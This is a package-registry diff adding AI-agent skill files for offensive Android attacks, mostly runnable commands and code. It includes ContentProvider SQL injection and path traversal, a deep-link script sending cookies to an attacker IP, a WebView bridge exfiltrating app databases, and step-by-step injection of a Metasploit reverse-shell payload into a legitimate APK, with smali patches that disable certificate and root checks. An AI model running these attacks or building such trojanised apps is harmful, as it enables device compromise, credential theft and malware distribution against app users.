rtexit-method 0.1.14 → 0.1.16
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-android-intent-exploitation/SKILL.md +251 -0
- package/packaged-assets/.agents/skills/rt-apk-repackaging/SKILL.md +270 -0
- package/packaged-assets/.agents/skills/rt-cross-platform-mobile/SKILL.md +290 -0
- package/packaged-assets/.agents/skills/rt-frida-advanced/SKILL.md +355 -0
- package/packaged-assets/.agents/skills/rt-mobile-malware-c2/SKILL.md +265 -0
- package/packaged-assets/.agents/skills/rt-mobile-ssl-pinning/SKILL.md +338 -0
- package/packaged-assets/.agents/skills/rt-mobile-static-deep/SKILL.md +262 -0
- package/tools/installer/lib/profiles.js +10 -1
package/package.json
CHANGED
|
@@ -0,0 +1,251 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-android-intent-exploitation
|
|
3
|
+
description: "Android component exploitation — exported Activities, Services, BroadcastReceivers, ContentProviders. ADB intent fuzzing, Drozer deep dive, Content Provider SQL injection and path traversal, intent sniffing, WebView JavaScript bridge exploitation, deep link hijacking, task hijacking. These are unique Android attack surfaces not found in web testing. Docker: rtexit/kali:v3.1."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`
|
|
7
|
+
|
|
8
|
+
# rt-android-intent-exploitation — Android Component & Intent Attacks
|
|
9
|
+
|
|
10
|
+
## Overview
|
|
11
|
+
|
|
12
|
+
Android's inter-process communication (IPC) via Intents and exported components is a unique attack surface. Many apps expose Activities, Services, and ContentProviders without authentication — allowing privilege escalation, data theft, and code execution within the app's permission scope.
|
|
13
|
+
|
|
14
|
+
**When to use:**
|
|
15
|
+
- App has exported components in AndroidManifest.xml
|
|
16
|
+
- ContentProvider is accessible by other apps
|
|
17
|
+
- Deep links / URL schemes are in scope
|
|
18
|
+
- WebView with JavaScript bridges is present
|
|
19
|
+
- Task hijacking or phishing against a specific app
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Phase 1: Component Discovery
|
|
24
|
+
|
|
25
|
+
```bash
|
|
26
|
+
docker exec rtexit-kali bash -c "
|
|
27
|
+
# Method 1: jadx + grep
|
|
28
|
+
jadx -d /tmp/target_java target.apk 2>/dev/null
|
|
29
|
+
grep -r 'exported.*true\|android:exported' /tmp/target_dc/AndroidManifest.xml
|
|
30
|
+
|
|
31
|
+
# Method 2: apktool + manifest analysis
|
|
32
|
+
apktool d target.apk -o /tmp/target_dc
|
|
33
|
+
grep -A5 'activity\|service\|receiver\|provider' /tmp/target_dc/AndroidManifest.xml | grep -B2 'exported\|intent-filter'
|
|
34
|
+
|
|
35
|
+
# Method 3: Drozer (most comprehensive)
|
|
36
|
+
# Start Drozer agent on device
|
|
37
|
+
adb forward tcp:31415 tcp:31415
|
|
38
|
+
drozer console connect
|
|
39
|
+
"
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
```
|
|
43
|
+
# Drozer — enumerate all components
|
|
44
|
+
dz> run app.package.list -f target
|
|
45
|
+
dz> run app.package.info -a com.target.app
|
|
46
|
+
dz> run app.activity.info -a com.target.app
|
|
47
|
+
dz> run app.service.info -a com.target.app
|
|
48
|
+
dz> run app.broadcast.info -a com.target.app
|
|
49
|
+
dz> run app.provider.info -a com.target.app
|
|
50
|
+
dz> run app.provider.finduri -a com.target.app
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
---
|
|
54
|
+
|
|
55
|
+
## Phase 2: Activity Exploitation
|
|
56
|
+
|
|
57
|
+
```bash
|
|
58
|
+
docker exec rtexit-kali bash -c "
|
|
59
|
+
# Launch exported activity directly (bypass login, authentication)
|
|
60
|
+
adb shell am start \
|
|
61
|
+
-n com.target.app/.AdminActivity \
|
|
62
|
+
--es username 'admin' \
|
|
63
|
+
--ez is_admin true
|
|
64
|
+
|
|
65
|
+
# Activity with intent filter — try launching with data
|
|
66
|
+
adb shell am start \
|
|
67
|
+
-a com.target.app.action.VIEW_REPORT \
|
|
68
|
+
-d 'content://com.target.app/reports/1' \
|
|
69
|
+
-n com.target.app/.ReportActivity
|
|
70
|
+
|
|
71
|
+
# Pass unexpected data types to trigger logic errors
|
|
72
|
+
adb shell am start \
|
|
73
|
+
-n com.target.app/.PaymentActivity \
|
|
74
|
+
--ei amount -1 \
|
|
75
|
+
--es target_account 'attacker@evil.com'
|
|
76
|
+
"
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
```
|
|
80
|
+
# Drozer — launch activity
|
|
81
|
+
dz> run app.activity.start --component com.target.app com.target.app.AdminActivity
|
|
82
|
+
dz> run app.activity.start --component com.target.app com.target.app.AdminActivity --extra string bypass true
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
---
|
|
86
|
+
|
|
87
|
+
## Phase 3: Content Provider Exploitation
|
|
88
|
+
|
|
89
|
+
```bash
|
|
90
|
+
docker exec rtexit-kali bash -c "
|
|
91
|
+
# Query all URIs from ContentProvider
|
|
92
|
+
adb shell content query --uri content://com.target.app/users
|
|
93
|
+
adb shell content query --uri content://com.target.app/messages
|
|
94
|
+
|
|
95
|
+
# Try common URI patterns
|
|
96
|
+
for table in users messages accounts files credentials tokens; do
|
|
97
|
+
echo -n \"Trying content://com.target.app/\$table: \"
|
|
98
|
+
adb shell content query --uri \"content://com.target.app/\$table\" 2>&1 | head -2
|
|
99
|
+
done
|
|
100
|
+
"
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
```
|
|
104
|
+
# Drozer — Content Provider SQL injection
|
|
105
|
+
dz> run app.provider.query content://com.target.app/users --selection "1=1"
|
|
106
|
+
dz> run app.provider.query content://com.target.app/users --projection "* FROM users--"
|
|
107
|
+
dz> run app.provider.query content://com.target.app/users --selection "1=1 UNION SELECT username,password,null,null FROM users--"
|
|
108
|
+
|
|
109
|
+
# Content Provider path traversal (file:// URIs)
|
|
110
|
+
dz> run app.provider.read content://com.target.app/files/../../../data/data/com.target.app/databases/main.db
|
|
111
|
+
dz> run app.provider.download content://com.target.app/files/../../../../data/data/com.target.app/shared_prefs/config.xml /tmp/config.xml
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
## Phase 4: BroadcastReceiver Exploitation
|
|
117
|
+
|
|
118
|
+
```bash
|
|
119
|
+
docker exec rtexit-kali bash -c "
|
|
120
|
+
# Send broadcast to exported receiver
|
|
121
|
+
adb shell am broadcast \
|
|
122
|
+
-a com.target.app.action.UPDATE \
|
|
123
|
+
-n com.target.app/.UpdateReceiver \
|
|
124
|
+
--es update_url 'http://192.168.200.10/malicious.apk'
|
|
125
|
+
|
|
126
|
+
# Broadcast to trigger SMS or notification
|
|
127
|
+
adb shell am broadcast \
|
|
128
|
+
-a android.provider.Telephony.SMS_RECEIVED \
|
|
129
|
+
-n com.target.app/.SmsReceiver \
|
|
130
|
+
--es body 'RESET_PASSWORD admin 1234'
|
|
131
|
+
|
|
132
|
+
# Steal ordered broadcast result
|
|
133
|
+
adb shell am broadcast -a com.target.app.AUTH_TOKEN --ei priority 999
|
|
134
|
+
"
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
---
|
|
138
|
+
|
|
139
|
+
## Phase 5: Deep Link / URL Scheme Hijacking
|
|
140
|
+
|
|
141
|
+
```bash
|
|
142
|
+
docker exec rtexit-kali bash -c "
|
|
143
|
+
# Identify deep links from manifest
|
|
144
|
+
grep -r 'scheme\|host\|pathPrefix\|data android' /tmp/target_dc/AndroidManifest.xml
|
|
145
|
+
|
|
146
|
+
# Test deep link handling
|
|
147
|
+
adb shell am start \
|
|
148
|
+
-a android.intent.action.VIEW \
|
|
149
|
+
-d 'myapp://reset-password?token=INJECTED&admin=true'
|
|
150
|
+
|
|
151
|
+
# Try deep link with malicious parameters
|
|
152
|
+
adb shell am start \
|
|
153
|
+
-a android.intent.action.VIEW \
|
|
154
|
+
-d 'myapp://webview?url=file:///data/data/com.target.app/databases/'
|
|
155
|
+
|
|
156
|
+
# UXSS via WebView deep link
|
|
157
|
+
adb shell am start \
|
|
158
|
+
-a android.intent.action.VIEW \
|
|
159
|
+
-d 'myapp://webview?url=javascript:document.location=\"http://192.168.200.10/?c=\"+document.cookie'
|
|
160
|
+
"
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
---
|
|
164
|
+
|
|
165
|
+
## Phase 6: WebView JavaScript Bridge Exploitation
|
|
166
|
+
|
|
167
|
+
```bash
|
|
168
|
+
docker exec rtexit-kali bash -c "
|
|
169
|
+
# Find @JavascriptInterface annotated methods in source
|
|
170
|
+
grep -r 'JavascriptInterface\|addJavascriptInterface' /tmp/target_java -r -l
|
|
171
|
+
"
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
```java
|
|
175
|
+
// Example vulnerable bridge
|
|
176
|
+
@JavascriptInterface
|
|
177
|
+
public String readFile(String path) {
|
|
178
|
+
return new String(Files.readAllBytes(Paths.get(path)));
|
|
179
|
+
}
|
|
180
|
+
|
|
181
|
+
// Attack: if WebView loads attacker-controlled URL
|
|
182
|
+
// <script>
|
|
183
|
+
// const data = JSBridge.readFile('/data/data/com.target.app/databases/main.db');
|
|
184
|
+
// fetch('http://192.168.200.10/leak?d=' + btoa(data));
|
|
185
|
+
// </script>
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
docker exec rtexit-kali bash -c "
|
|
190
|
+
# If WebView loads arbitrary URLs via deep link:
|
|
191
|
+
adb shell am start -a android.intent.action.VIEW \
|
|
192
|
+
-d 'myapp://webview?url=http://192.168.200.10/exploit.html'
|
|
193
|
+
|
|
194
|
+
# exploit.html calls JSBridge methods to exfiltrate data
|
|
195
|
+
"
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
---
|
|
199
|
+
|
|
200
|
+
## Phase 7: Task Hijacking (StrandHogg)
|
|
201
|
+
|
|
202
|
+
```bash
|
|
203
|
+
docker exec rtexit-kali bash -c "
|
|
204
|
+
# StrandHogg: malicious app intercepts legitimate app's task
|
|
205
|
+
# Vulnerable when: taskAffinity + allowTaskReparenting
|
|
206
|
+
|
|
207
|
+
# Check if target is vulnerable
|
|
208
|
+
grep -A5 'MainActivity\|LauncherActivity' /tmp/target_dc/AndroidManifest.xml | grep -i 'taskAffinity\|allowTask'
|
|
209
|
+
|
|
210
|
+
# If vulnerable: malicious app with same taskAffinity appears over target app
|
|
211
|
+
# User thinks they're in legitimate app but entering creds into malicious one
|
|
212
|
+
"
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
---
|
|
216
|
+
|
|
217
|
+
## Phase 8: ADB Exploitation
|
|
218
|
+
|
|
219
|
+
```bash
|
|
220
|
+
docker exec rtexit-kali bash -c "
|
|
221
|
+
# Extract all SQLite databases
|
|
222
|
+
adb shell 'su -c ls /data/data/com.target.app/databases/'
|
|
223
|
+
adb pull /data/data/com.target.app/databases/ /tmp/dbs/
|
|
224
|
+
|
|
225
|
+
# Extract SharedPreferences (often has tokens)
|
|
226
|
+
adb pull /data/data/com.target.app/shared_prefs/ /tmp/prefs/
|
|
227
|
+
cat /tmp/prefs/*.xml | grep -i 'token\|key\|pass\|auth\|secret'
|
|
228
|
+
|
|
229
|
+
# Check logcat for credential leaks
|
|
230
|
+
adb logcat | grep -i 'password\|token\|secret\|key\|auth' | head -50
|
|
231
|
+
|
|
232
|
+
# Backup exploitation (pre-Android 12)
|
|
233
|
+
adb backup -noencrypt -noapk com.target.app
|
|
234
|
+
python3 android-backup-extractor.py backup.ab backup.tar
|
|
235
|
+
tar -xvf backup.tar
|
|
236
|
+
find . -name '*.db' -o -name '*.xml' -o -name '*.json' | xargs grep -i 'token\|pass\|secret'
|
|
237
|
+
"
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
---
|
|
241
|
+
|
|
242
|
+
## Related Skills
|
|
243
|
+
- `rt-exploit-android` — full Android methodology
|
|
244
|
+
- `rt-frida-advanced` — hook intent handling at runtime
|
|
245
|
+
- `rt-mobile-static-deep` — static analysis to find these vulnerabilities
|
|
246
|
+
- `rt-exploit-injection` — SQL injection in Content Providers
|
|
247
|
+
|
|
248
|
+
## References
|
|
249
|
+
- https://github.com/WithSecureLabs/drozer
|
|
250
|
+
- https://attack.mitre.org/techniques/T1409/ — Access Stored Application Data
|
|
251
|
+
- https://owasp.org/www-project-mobile-top-10/ — M1-M10
|
|
@@ -0,0 +1,270 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-apk-repackaging
|
|
3
|
+
description: "APK repackaging, smali patching, and payload injection — decompile any APK, patch bytecode to remove security checks or inject payloads, repackage and sign. Covers: injecting Metasploit/Frida payloads into real apps, bypassing root detection via smali, removing debug flags, patching hardcoded values, certificate bypass via smali. Docker: rtexit/kali:v3.1 has apktool, jadx, uber-apk-signer."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`
|
|
7
|
+
|
|
8
|
+
# rt-apk-repackaging — APK Patching, Smali Injection & Payload Embedding
|
|
9
|
+
|
|
10
|
+
## Overview
|
|
11
|
+
|
|
12
|
+
Repackaging lets you modify any Android APK without source code — patch security controls, inject payloads, or embed Frida Gadget. Essential when you need persistent access or when dynamic bypass (Frida) isn't possible.
|
|
13
|
+
|
|
14
|
+
**When to use:**
|
|
15
|
+
- SSL pinning survives all runtime bypasses → patch smali directly
|
|
16
|
+
- Need to inject a backdoor into a legitimate app for client demonstration
|
|
17
|
+
- Disable certificate pinning, root detection, or tamper detection permanently
|
|
18
|
+
- Embed Frida Gadget for non-rooted device testing
|
|
19
|
+
- Modify app behavior to trigger specific code paths
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Setup
|
|
24
|
+
|
|
25
|
+
```bash
|
|
26
|
+
docker exec rtexit-kali bash -c "
|
|
27
|
+
# Verify tools
|
|
28
|
+
apktool --version
|
|
29
|
+
jadx --version
|
|
30
|
+
java -version
|
|
31
|
+
|
|
32
|
+
# Install uber-apk-signer (easier than keytool + jarsigner)
|
|
33
|
+
wget https://github.com/patrickfav/uber-apk-signer/releases/download/v1.3.0/uber-apk-signer-1.3.0.jar -O /opt/uber-apk-signer.jar
|
|
34
|
+
alias uas='java -jar /opt/uber-apk-signer.jar'
|
|
35
|
+
"
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
---
|
|
39
|
+
|
|
40
|
+
## Phase 1: Decompile & Analyze
|
|
41
|
+
|
|
42
|
+
```bash
|
|
43
|
+
docker exec rtexit-kali bash -c "
|
|
44
|
+
# Extract APK from device (if not available)
|
|
45
|
+
APP_PKG=com.target.app
|
|
46
|
+
APK_PATH=\$(adb shell pm path \$APP_PKG | cut -d: -f2 | tr -d '\r')
|
|
47
|
+
adb pull \$APK_PATH /tmp/target.apk
|
|
48
|
+
echo 'APK pulled to /tmp/target.apk'
|
|
49
|
+
|
|
50
|
+
# Decompile
|
|
51
|
+
apktool d /tmp/target.apk -o /tmp/target_dc --no-debug-info
|
|
52
|
+
|
|
53
|
+
# Also decompile to Java for reading logic
|
|
54
|
+
jadx -d /tmp/target_java /tmp/target.apk
|
|
55
|
+
|
|
56
|
+
# Check interesting files
|
|
57
|
+
cat /tmp/target_dc/AndroidManifest.xml | grep -E 'exported|permission|debuggable|networkSecurity'
|
|
58
|
+
ls /tmp/target_dc/res/xml/ 2>/dev/null # look for network_security_config.xml
|
|
59
|
+
"
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
## Phase 2A: Remove SSL Pinning via Smali
|
|
65
|
+
|
|
66
|
+
```bash
|
|
67
|
+
docker exec rtexit-kali bash -c "
|
|
68
|
+
# Find pinning code in smali
|
|
69
|
+
grep -r 'CertificatePinner\|checkServerTrusted\|TrustManager\|pinning' /tmp/target_dc/smali* -l
|
|
70
|
+
|
|
71
|
+
# Find the pinning method in smali — e.g.:
|
|
72
|
+
# .method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
|
|
73
|
+
# .locals 0
|
|
74
|
+
# return-void ← what we want
|
|
75
|
+
# .end method
|
|
76
|
+
|
|
77
|
+
# Current code may throw an exception. Patch to return-void:
|
|
78
|
+
# Open the smali file and change the method body to just 'return-void'
|
|
79
|
+
"
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
```smali
|
|
83
|
+
# Example: patch checkServerTrusted to do nothing (bypass)
|
|
84
|
+
.method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
|
|
85
|
+
.locals 0
|
|
86
|
+
|
|
87
|
+
return-void # ← just return, no validation
|
|
88
|
+
|
|
89
|
+
.end method
|
|
90
|
+
|
|
91
|
+
# Also patch checkClientTrusted and getAcceptedIssuers
|
|
92
|
+
.method public getAcceptedIssuers()[Ljava/security/cert/X509Certificate;
|
|
93
|
+
.locals 1
|
|
94
|
+
|
|
95
|
+
const/4 v0, 0x0
|
|
96
|
+
new-array v0, v0, [Ljava/security/cert/X509Certificate;
|
|
97
|
+
return-object v0
|
|
98
|
+
|
|
99
|
+
.end method
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
---
|
|
103
|
+
|
|
104
|
+
## Phase 2B: Remove Root Detection via Smali
|
|
105
|
+
|
|
106
|
+
```bash
|
|
107
|
+
docker exec rtexit-kali bash -c "
|
|
108
|
+
# Find root detection methods
|
|
109
|
+
grep -r 'isRooted\|RootBeer\|checkRoot\|detectRoot\|su\|superuser' /tmp/target_dc/smali* -l
|
|
110
|
+
|
|
111
|
+
# Pattern: find method that returns boolean and calls root checks
|
|
112
|
+
# Patch to always return false
|
|
113
|
+
"
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
```smali
|
|
117
|
+
# Patch isRooted() to always return false
|
|
118
|
+
.method public isRooted()Z
|
|
119
|
+
.locals 1
|
|
120
|
+
|
|
121
|
+
const/4 v0, 0x0 # false
|
|
122
|
+
return v0
|
|
123
|
+
|
|
124
|
+
.end method
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
---
|
|
128
|
+
|
|
129
|
+
## Phase 2C: Inject Metasploit Payload into Real APK
|
|
130
|
+
|
|
131
|
+
```bash
|
|
132
|
+
docker exec rtexit-kali bash -c "
|
|
133
|
+
# Step 1: Generate payload .apk
|
|
134
|
+
msfvenom -p android/meterpreter/reverse_https \
|
|
135
|
+
LHOST=192.168.200.10 LPORT=4444 \
|
|
136
|
+
-o /tmp/payload.apk
|
|
137
|
+
|
|
138
|
+
# Step 2: Decompile both APKs
|
|
139
|
+
apktool d /tmp/target.apk -o /tmp/target_dc
|
|
140
|
+
apktool d /tmp/payload.apk -o /tmp/payload_dc
|
|
141
|
+
|
|
142
|
+
# Step 3: Copy payload smali into target
|
|
143
|
+
cp -r /tmp/payload_dc/smali/com/metasploit /tmp/target_dc/smali/com/
|
|
144
|
+
|
|
145
|
+
# Step 4: Add permissions to target AndroidManifest.xml
|
|
146
|
+
# (that payload needs but target may not have)
|
|
147
|
+
# Common: INTERNET, READ_PHONE_STATE, ACCESS_NETWORK_STATE
|
|
148
|
+
# Add between existing <uses-permission> tags
|
|
149
|
+
|
|
150
|
+
# Step 5: Hook MainActivity.onCreate to launch payload
|
|
151
|
+
# Find MainActivity.smali in target
|
|
152
|
+
# Add at start of onCreate:
|
|
153
|
+
# invoke-static {}, Lcom/metasploit/stage/Payload;->start([Ljava/lang/String;)V
|
|
154
|
+
|
|
155
|
+
# Step 6: Repackage + sign
|
|
156
|
+
apktool b /tmp/target_dc -o /tmp/target_injected.apk
|
|
157
|
+
java -jar /opt/uber-apk-signer.jar -a /tmp/target_injected.apk --out /tmp/signed/
|
|
158
|
+
adb install /tmp/signed/target_injected-aligned-debugSigned.apk
|
|
159
|
+
"
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
```smali
|
|
163
|
+
# Inject payload call into MainActivity.onCreate
|
|
164
|
+
# Add BEFORE super.onCreate() call:
|
|
165
|
+
|
|
166
|
+
invoke-static {}, Lcom/metasploit/stage/Payload;->start([Ljava/lang/String;)V
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
---
|
|
170
|
+
|
|
171
|
+
## Phase 2D: Inject Frida Gadget (No Root Needed)
|
|
172
|
+
|
|
173
|
+
```bash
|
|
174
|
+
docker exec rtexit-kali bash -c "
|
|
175
|
+
# Download gadget
|
|
176
|
+
FRIDA_VER=\$(pip3 show frida | grep Version | awk '{print \$2}')
|
|
177
|
+
wget https://github.com/frida/frida/releases/download/\${FRIDA_VER}/frida-gadget-\${FRIDA_VER}-android-arm64.so.xz -O /tmp/gadget.xz
|
|
178
|
+
unxz /tmp/gadget.xz
|
|
179
|
+
mv /tmp/frida-gadget-* /tmp/target_dc/lib/arm64-v8a/libfrida-gadget.so
|
|
180
|
+
|
|
181
|
+
# Create Frida Gadget config (listen mode)
|
|
182
|
+
cat > /tmp/target_dc/lib/arm64-v8a/libfrida-gadget.config.so << 'EOF'
|
|
183
|
+
{
|
|
184
|
+
\"interaction\": {
|
|
185
|
+
\"type\": \"listen\",
|
|
186
|
+
\"address\": \"0.0.0.0\",
|
|
187
|
+
\"port\": 27042
|
|
188
|
+
}
|
|
189
|
+
}
|
|
190
|
+
EOF
|
|
191
|
+
|
|
192
|
+
# Find entry point smali (MainActivity or Application)
|
|
193
|
+
# Add library load at very beginning of onCreate or attachBaseContext:
|
|
194
|
+
"
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
```smali
|
|
198
|
+
# Add to Application.attachBaseContext() or MainActivity.onCreate()
|
|
199
|
+
# This loads Frida Gadget before anything else:
|
|
200
|
+
|
|
201
|
+
const-string v0, "frida-gadget"
|
|
202
|
+
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
```bash
|
|
206
|
+
docker exec rtexit-kali bash -c "
|
|
207
|
+
# Repackage + sign
|
|
208
|
+
apktool b /tmp/target_dc -o /tmp/target_gadget.apk
|
|
209
|
+
java -jar /opt/uber-apk-signer.jar -a /tmp/target_gadget.apk --out /tmp/signed/
|
|
210
|
+
adb install /tmp/signed/target_gadget-aligned-debugSigned.apk
|
|
211
|
+
|
|
212
|
+
# Launch app — it pauses waiting for Frida
|
|
213
|
+
adb shell am start -n com.target.app/.MainActivity
|
|
214
|
+
|
|
215
|
+
# Connect Frida to gadget
|
|
216
|
+
frida -H 127.0.0.1:27042 -n Gadget -l your-script.js
|
|
217
|
+
"
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
---
|
|
221
|
+
|
|
222
|
+
## Phase 3: Repackage & Sign
|
|
223
|
+
|
|
224
|
+
```bash
|
|
225
|
+
docker exec rtexit-kali bash -c "
|
|
226
|
+
# Build patched APK
|
|
227
|
+
apktool b /tmp/target_dc -o /tmp/target_patched.apk
|
|
228
|
+
|
|
229
|
+
# Sign with debug key (quick)
|
|
230
|
+
java -jar /opt/uber-apk-signer.jar \
|
|
231
|
+
-a /tmp/target_patched.apk \
|
|
232
|
+
--out /tmp/signed/ \
|
|
233
|
+
--allowResign \
|
|
234
|
+
--overwrite
|
|
235
|
+
|
|
236
|
+
# Install
|
|
237
|
+
adb install -r /tmp/signed/target_patched-aligned-debugSigned.apk
|
|
238
|
+
"
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
---
|
|
242
|
+
|
|
243
|
+
## Phase 4: Bypass Play Integrity / SafetyNet
|
|
244
|
+
|
|
245
|
+
```bash
|
|
246
|
+
# Apps using Play Integrity API will detect modified APK signature
|
|
247
|
+
# Bypass: Universal SafetyNet Fix (Magisk module on rooted device)
|
|
248
|
+
|
|
249
|
+
docker exec rtexit-kali bash -c "
|
|
250
|
+
# On rooted device: install Magisk module
|
|
251
|
+
# Universal SafetyNet Fix + MagiskHide (or Shamiko for Zygisk)
|
|
252
|
+
adb push MagiskModule-safetynetfix.zip /sdcard/
|
|
253
|
+
# Install via Magisk app
|
|
254
|
+
"
|
|
255
|
+
|
|
256
|
+
# Alternative: use Zygisk + ReZygisk + Shamiko for full detection bypass
|
|
257
|
+
```
|
|
258
|
+
|
|
259
|
+
---
|
|
260
|
+
|
|
261
|
+
## Related Skills
|
|
262
|
+
- `rt-frida-advanced` — dynamic instrumentation after repackaging
|
|
263
|
+
- `rt-mobile-ssl-pinning` — patch network_security_config via smali
|
|
264
|
+
- `rt-exploit-android` — full Android methodology
|
|
265
|
+
- `rt-mobile-malware-c2` — deliver repackaged APK as C2 implant
|
|
266
|
+
|
|
267
|
+
## References
|
|
268
|
+
- https://github.com/iBotPeaches/Apktool
|
|
269
|
+
- https://github.com/skylot/jadx
|
|
270
|
+
- https://attack.mitre.org/techniques/T1406/ — Obfuscated Files or Information
|